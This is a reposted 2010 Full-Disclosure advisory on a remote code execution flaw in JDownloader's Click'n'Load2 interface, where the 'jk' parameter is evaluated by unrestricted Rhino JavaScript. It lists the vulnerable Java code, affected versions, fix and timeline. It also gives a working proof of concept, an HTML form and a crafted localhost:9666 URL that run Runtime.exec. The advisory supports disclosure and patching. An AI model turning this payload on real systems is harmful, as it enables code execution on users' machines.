JDownloader support suffer from a code execution vulnerability.

简介: -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA1- -- ProductJDownloader[1] is an open source do...
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- -- Product

JDownloader[1] is an open source download manager for One-Click-
Filehoster like Rapidshare or Megaupload. The Click'n'Load[2] interface
allows external applications and websites to send URLs to the local
running JDownloader. With Click'n'Load2 [3] it is possible to sent
AES-CBC encrypted URLs (for some kind of link 'obfuscation').
The encrypted payload _and_ key are sent with an HTTP-POST submit on
localhost port 9666 (default port, listening on any(0.0.0.0)).

[1] http://jdownloader.org/
[2] http://jdownloader.org/knowledge/wiki/glossary/click-n-load
[3] http://jdownloader.org/knowledge/wiki/glossary/cnl2

- -- Vulnerability

The transmitted key can be plaintext or javascript code that is then
executed by JDownloader with the Mozilla Rhino Javascript
implementation. Here is the code for this: (plugins/
JDExternInterface.jar / JDExternInterface.java)

  String jk = Encoding.urlDecode(request.getParameters().get("jk"), false);
  [...]
  Context cx = Context.enter();
  Scriptable scope = cx.initStandardObjects();
  String fun = jk + "  f()";
  Object result = cx.evaluateString(scope, fun, "<cmd>", 1, null);
  key = JDHexUtils.getByteArray(Context.toString(result));
  Context.exit();

The Default Context that is initialized here, allows the javascript to
execute without any security restrictions. The javascript can import and
use any java library resulting in an remote code execution flaw.

After the form data is sent, JDownloader will, depending on transmitted
_Referer/Source and/or User-Agent_, ask for permission to add Links from
external Website/Application, the code is executed after the user
confirms.

- -- Affected Versions

All versions prior 2010-01-25 (with Click'n'Load 2 support) are
vulnerable. (Release version 0.9.334)

- -- Solutions

Update JDownloader to the newest version with the Autoupdate/Webupdate.
I recommend to disable the remote interface (FlashGot for Firefox)
in the "AddOn Manager" configuration.

- -- Timeline

2010-01-25 - Vulnerability reported to vendor
2010-01-25 - Vendor security fix via autoupdate
2010-02-08 - Public Disclosure

- -- Proof of Concept

<form action="http://localhost:9666/flash/addcrypted2" method="post">
<textarea name="jk">
function f() {
    var run = java.lang.Runtime.getRuntime();
    run.exec('/usr/bin/xclock');

    return '42';
}
</textarea>
<input type="hidden" name="passwords" value="invalid" />
<input type="hidden" name="source" value="http://example.com/invalid" />
<input type="hidden" name="crypted" value="invalid" />
<input type="submit" value="CLICK" />
</form>

or:

http://localhost:9666/flash/addcrypted2?jk=function+f()+%7B+var+run+%3D
+java.lang.Runtime.getRuntime()%3B+run.exec('%2Fusr%2Fbin%2Fxclock')%3B
+return+'42'%3B+%7D&passwords=invalid&source=http://example.com/invalid
&crypted=invalid

- -- Conclusion

It seems that this is a common misuse of the Rhino JavaScript[1]
library, that is dangerous whenever arbitrary JavaScript is executed.
There many other libraries and applications may vulnerable to this kind
of vulnerability.

[1] http://www.mozilla.org/rhino/

- --
(a) (p)roof (o)f (c)oncept ..
  http://apoc.sixserv.org/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iEYEARECAAYFAktv1TEACgkQWlhozqFVuMt4NACffRjgnf/2p4sP4XlvBSrjXDdr
FSEAn3+6nlkAzdv47a7YnuPgNc+xo957
=tPlp
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
目录
相关文章
|
存储 Dragonfly 弹性计算
2023年阿里云服务器4核8G配置收费标准与活动价格参考,价格1450.08元1年起
4核8G配置的云服务器通常是普通企业用户的首选配置,2023年新用户租用阿里云轻量应用服务器低至108元首年,4核8G配置目前活动价格仅需1450.08元1年起,不过阿里云不同实例类型的4核8G云服务器配置,产品价格也各不相同。而在平时购买和活动期间买价格也是不一样的。本文主要为大家介绍目前阿里云服务器4核8G配置收费标准与活动价格,以供参考。
860 0
2023年阿里云服务器4核8G配置收费标准与活动价格参考,价格1450.08元1年起
|
存储 弹性计算 运维
阿里云经济型e系列云服务器测评,专为中小应用打造
2023年9月,阿里云推出了一款全新云服务器实例,经济型e实例,基于“飞天+CIPU”黄金技术架构设计,可轻松满足网站建设、开发测试和小型应用构建等场景需求,使用成本最低可降至每天0.5元,告别复杂的选型和高昂的成本,进一步降低了学生群体、个人开发者和小微企业的上云门槛。
2724 0
阿里云经济型e系列云服务器测评,专为中小应用打造
|
10月前
|
安全 jenkins 持续交付
如何在 Jenkins 中配置邮件通知?
如何在 Jenkins 中配置邮件通知?
515 11
|
机器学习/深度学习 自然语言处理 自动驾驶
CNN的魅力:探索卷积神经网络的无限可能
卷积神经网络(Convolutional Neural Networks, CNN)作为人工智能的重要分支,在图像识别、自然语言处理、医疗诊断及自动驾驶等领域展现了卓越性能。本文将介绍CNN的起源、独特优势及其广泛应用,并通过具体代码示例展示如何使用TensorFlow和Keras构建和训练CNN模型。
|
存储
【机组期末速成】指令系统|机器指令概述|操作数类型与操作类型|寻址方式|指令格式
【机组期末速成】指令系统|机器指令概述|操作数类型与操作类型|寻址方式|指令格式
325 1
|
存储 JavaScript 前端开发
Vue中通过集成Quill富文本编辑器实现公告的发布。Vue项目中vue-quill-editor的安装与使用【实战开发应用】
文章展示了在Vue项目中通过集成Quill富文本编辑器实现公告功能的完整开发过程,包括前端的公告发布、修改、删除操作以及后端的数据存储和处理逻辑。
Vue中通过集成Quill富文本编辑器实现公告的发布。Vue项目中vue-quill-editor的安装与使用【实战开发应用】
|
运维 网络安全 网络架构
资深网工是如何发现大型网络中网络环路问题的?
资深网工是如何发现大型网络中网络环路问题的?
202 0
|
人工智能 边缘计算 运维
IEEE EDGE 2020论文:Astraea — 以优雅的方式在边缘部署AI服务
近日,阿里云边缘计算团队博士后付哲的论文《Astraea: Deploy AI Services at the Edge in Elegant Ways》入选2020年IEEE边缘计算国际会议(IEEE International Conference on Edge Computing),并在大会上进行了宣讲。他和他的团队如何看待以上问题,本文将为您解答。
10773 3
IEEE EDGE 2020论文:Astraea — 以优雅的方式在边缘部署AI服务
|
关系型数据库 MySQL Java
Flink cdc报错问题之线程不够报错如何解决
Flink CDC报错指的是使用Apache Flink的Change Data Capture(CDC)组件时遇到的错误和异常;本合集将汇总Flink CDC常见的报错情况,并提供相应的诊断和解决方法,帮助用户快速恢复数据处理任务的正常运行。
|
机器学习/深度学习 存储 人工智能
AI在数学界的作用和影响
众所周知,数学在科学中占据至关重要的地位。爱因斯坦曾说,“纯数学能使我们发现概念和联系这些概念的规律,给了我们理解自然现象的钥匙。数学之所以比一切其它科学受到尊重,一个理由是因为它的命题是绝对可靠的,无可争辩的,而其它的科学经常处于被新发现的事实推翻的危险。”那么,AI在数学界有哪些作用?AI未来对数学界会有哪些颠覆性影响?现在我们来进行论述和探讨。
520 0